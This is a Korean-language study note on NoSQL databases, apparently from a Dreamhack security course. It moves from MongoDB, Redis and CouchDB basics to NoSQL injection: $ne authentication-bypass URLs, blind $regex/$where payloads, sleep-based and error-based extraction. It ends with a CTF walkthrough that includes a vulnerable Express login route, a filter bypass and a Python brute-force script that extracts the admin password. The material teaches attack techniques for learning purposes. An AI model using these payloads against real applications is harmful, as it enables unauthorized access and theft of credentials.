MongoDB
JSON 형태인 도큐먼트(Document)를 저장한다.
- 스키마를 따로 정의하지 않아 각 컬렉션(Collection)에 대한 정의가 필요하지 않습니다.
- JSON 형식으로 쿼리를 작성할 수 있습니다.
- _id 필드가 Primary Key 역할을 합니다.
이와 같은 특징들이 있다.
MongoDB 연산자
Comparison, Logical, Element, Evaluation 연산자가 있습니다. 각각 차례대로 보겠습니다.
Comparison
Name | Description |
$eq | 지정된 값과 같은 걸 찾는다.(equal) |
$in | 배열 안의 값들과 일치하는 값을 찾는다. (in) |
$ne | 지정된 값과 같지 않은 걸 찾는다.(not equal) |
$nin | 배열 안의 값들과 일치하지 않는 걸 찾는다(not in) |
Logical
Name | Description |
$and | 논리적 And. 각각의 쿼리를 모두 만족하는 문서가 반환된다 |
$not | 쿼리 식의 효과를 반전, 일치하지 않는 문서를 반환 |
$nor | 논리적 NOR, 각각 쿼리를 모두 만족하지 않는 문서가 반환 |
$or | 논리적 OR, 각각의 쿼리 중 하나 이상 만족하는 문서가 반환 |
Element
Name | Description |
$exists | 지정된 필드가 있는 문서를 찾는다 |
$type | 지정된 필드가 지정된 유형인 문서를 선택 |
Evaluation
Name | Description |
$expr | 쿼리 언어 내에서 집계 식을 사용할 수 있다 |
$regex | 지정된 정규식과 일치하는 문서 선택 |
$text | 지정된 텍스트 검 |
기본 문법
SQL과 MongoDB는 SELECT, INSERT, DELETE, UPDATE 부분에서도 차이가 납니다.
Redis
Redis는 키-값(Key-Value)의 쌍을 가진 데이터를 저장합니다. 제일 큰 특징은 다른 데이터베이스와 다르게 메모리 기반의 DBMS입니다. 아래 코드는 Redis에서 데이터를 추가하고, 조회하는 명령어의 예시입니다.
$ redis-cli
127.0.0.1:6379> SET test 1234 # SET key value
OK
127.0.0.1:6379> GET test # GET key
"1234"
데이터 조회 및 조작 명령어는 다음과 같습니다.
명령어 | 구조 | 설명 |
GET | GET key | 데이터를 조회 |
MGET | MGET key [key...] | 여러 데이터를 조회 |
SET | SET key value | 새로운 데이터를 추가 |
MSET | MSET key value[key value...] | 여러 데이터를 추가 |
DEL | DEL key [key....] | 데이터 삭제 |
EXISTS | EXISTS key [key...] | 데이터 유뮤 확인 |
INCR | INCR key | 데이터 +1 |
DECR | DECR key | 데이터 -1 |
관리 명령어는 아래와 같다
명렁어 | 구조 | 설명 |
INFO | INFO [section] | DBMS 정보 조회 |
CONFIG GET | CONFIG GET parameter | 설명 조회 |
CONFIR SET | CONFIG SET parameter value | 새로운 설정을 입력 |
CouchDB
CouchDB 또한 MongoDB와 같이 JSON 형태인 도큐먼트(Document)를 저장합니다. 이는 웹 기반의 DBMS로, REST API 형식으로 요청을 처리합니다
메소드 | 기능 설명 |
POST | 새로운 레코드 추가 |
GET | 레코드 조회 |
PUT | 레코드 업데이트 |
DELETE | 레코드 삭 |
특수 구성 요소
CouchDB에서는 서버 또는 데이터베이스를 위해 다양한 기능을 제공합니다. 그 중 _ 문자로 시작하는 URL, 필드는 특수 구성 요소를 나타냅니다.
SERVER
요소 | 설명 |
/ | 인스턴스에 대한 메타 정보를 반환 |
/_all_dbs | "의 데이터베이스 목록 반환 |
/_utils | 관리자 페이지로 이동 |
Database
요소 | 설명 |
/db | 지정된 데이터베이스에 대한 정보를 반환 |
/{db}/_all_docs | "에 포함된 모든 도큐먼트를 반환 |
/{db}/_find | "에서 JSoN 쿼리에 해당하는 모든 도큐먼트를 반 |
NoSQL Injection
MongoDB는 문자열이 아닌 타입의 값을 입력할 수 있고, 이를 통해 연산자를 사용할 수 있다고 했습니다. 아래 코드는 user 컬렉션에서 이용자가 입력한 uid와 upw에 해당하는 데이터를 찾고, 출력하는 예제 코드입니다.
const express = require('express');
const app = express();
const mongoose = require('mongoose');
const db = mongoose.connection;
mongoose.connect('mongodb://localhost:27017/', { useNewUrlParser: true, useUnifiedTopology: true });
app.get('/query', function(req,res) {
db.collection('user').find({
'uid': req.query.uid,
'upw': req.query.upw
}).toArray(function(err, result) {
if (err) throw err;
res.send(result);
});
});
const server = app.listen(3000, function(){
console.log('app.listen');
});
오브젝트 타입의 값을 입력할 수 있다면 연산자를 사용할 수 있습니다. 이전 강의에서 학습한 $ne 연산자는 not equal의 약자로, 입력한 데이터와 일치하지 않는 데이터를 반환합니다.
http://localhost:3000/query?uid[$ne]=a&upw[$ne]=a
=> [{"_id":"5ebb81732b75911dbcad8a19","uid":"admin","upw":"secretpassword"}]
Blind NoSQL Injection
MongoDB에서는 $regex, $where 연산자를 사용해 Blind NoSQL Injection을 할 수 있습니다.
Name | Description |
$expr | 쿼리 언어 내에서 집계 식을 사용할 수 있다 |
$regex | 지정된 정규식과 일치하는 문서를 찾는다 |
$text | 지정된 텍스트를 검사한다 |
$where | JavaScript표현식을 만족하는 문서와 일치한 |
$regex
upw에서 각 문자로 시작하는 데이터를 조회하는 쿼리의 예시는 다음과 같다.
> db.user.find({upw: {$regex: "^a"}})
> db.user.find({upw: {$regex: "^b"}})
> db.user.find({upw: {$regex: "^c"}})
...
> db.user.find({upw: {$regex: "^g"}})
{ "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }
$where
아래를 살펴보면, 해당 연산자는 field에서 사용할 수 없는 것을 확인할 수 있습니다.
> db.user.find({$where:"return 1==1"})
{ "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }
> db.user.find({uid:{$where:"return 1==1"}})
error: {
"$err" : "Can't canonicalize query: BadValue $where cannot be applied to a field",
"code" : 17287
}
substring
아래 쿼리는 upw의 첫 글자를 비교해 데이터를 알아내는 쿼리입니다.
> db.user.find({$where: "this.upw.substring(0,1)=='a'"})
> db.user.find({$where: "this.upw.substring(0,1)=='b'"})
> db.user.find({$where: "this.upw.substring(0,1)=='c'"})
...
> db.user.find({$where: "this.upw.substring(0,1)=='g'"})
{ "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }
Sleep 함수를 통한 Time based Injection
MongoDB는 sleep 함수를 제공합니다. 표현식과 함께 사용하면 지연 시간을 통해 참/거짓 결과를 확인할 수 있습니다.
db.user.find({$where: `this.uid=='${req.query.uid}'&&this.upw=='${req.query.upw}'`});
/*
/?uid=guest'&&this.upw.substring(0,1)=='a'&&sleep(5000)&&'1
/?uid=guest'&&this.upw.substring(0,1)=='b'&&sleep(5000)&&'1
/?uid=guest'&&this.upw.substring(0,1)=='c'&&sleep(5000)&&'1
...
/?uid=guest'&&this.upw.substring(0,1)=='g'&&sleep(5000)&&'1
=> 시간 지연 발생.
*/
Error based Injection
Errror based Injection은 에러를 기반으로 데이터를 알아내는 기법으로, 올바르지 않은 문법을 입력해 고의로 에러를 발생시킵니다
> db.user.find({$where: "this.uid=='guest'&&this.upw.substring(0,1)=='g'&&asdf&&'1'&&this.upw=='${upw}'"});
error: {
"$err" : "ReferenceError: asdf is not defined near '&&this.upw=='${upw}'' ",
"code" : 16722
}
// this.upw.substring(0,1)=='g' 값이 참이기 때문에 asdf 코드를 실행하다 에러 발생
> db.user.find({$where: "this.uid=='guest'&&this.upw.substring(0,1)=='a'&&asdf&&'1'&&this.upw=='${upw}'"});
// this.upw.substring(0,1)=='a' 값이 거짓이기 때문에 뒤에 코드가 작동하지 않음
Exercise: NoSQL Injection
엔드 포인트: /login
app.get('/login', function(req, res) {
if(filter(req.query)){ // filter 함수 실행
res.send('filter');
return;
}
const {uid, upw} = req.query;
db.collection('user').findOne({ // db에서 uid, upw로 검색
'uid': uid,
'upw': upw,
}, function(err, result){
if (err){
res.send('err');
}else if(result){
res.send(result['uid']);
}else{
res.send('undefined');
}
})
});
filter 함수
// flag is in db, {'uid': 'admin', 'upw': 'DH{32alphanumeric}'}
const BAN = ['admin', 'dh', 'admi'];
filter = function(data){
const dump = JSON.stringify(data).toLowerCase();
var flag = false;
BAN.forEach(function(word){
if(dump.indexOf(word)!=-1) flag = true;
});
return flag;
}
취약점 분석
const express = require('express');
const app = express();
app.get('/', function(req,res) {
console.log('data:', req.query.data);
console.log('type:', typeof req.query.data);
res.send('hello world');
});
const server = app.listen(3000, function(){
console.log('app.listen');
});
Query & type
익스플로잇
/login에서는 로그인에 성공했을 때 이용자의 uid만 출력합니다. Blind NoSQL Injection을 통해 admin의 upw를 획득해야 합니다.
1. Blind NoSQL Injection Payload 생성
http://host1.dreamhack.games:13698/login?uid=guest&upw[$regex]=.*
2. filter 우회
http://host1.dreamhack.games:13698/login?uid[$regex]=ad.in&upw[$regex]=D.{*
3. Exploit Code 작성
import requests, string
HOST = 'http://localhost'
ALPHANUMERIC = string.digits + string.ascii_letters
SUCCESS = 'admin'
flag = ''
for i in range(32):
for ch in ALPHANUMERIC:
response = requests.get(f'{HOST}/login?uid[$regex]=ad.in&upw[$regex]=D.{{{flag}{ch}')
if response.text == SUCCESS:
flag += ch
break
print(f'FLAG: DH{{{flag}}}')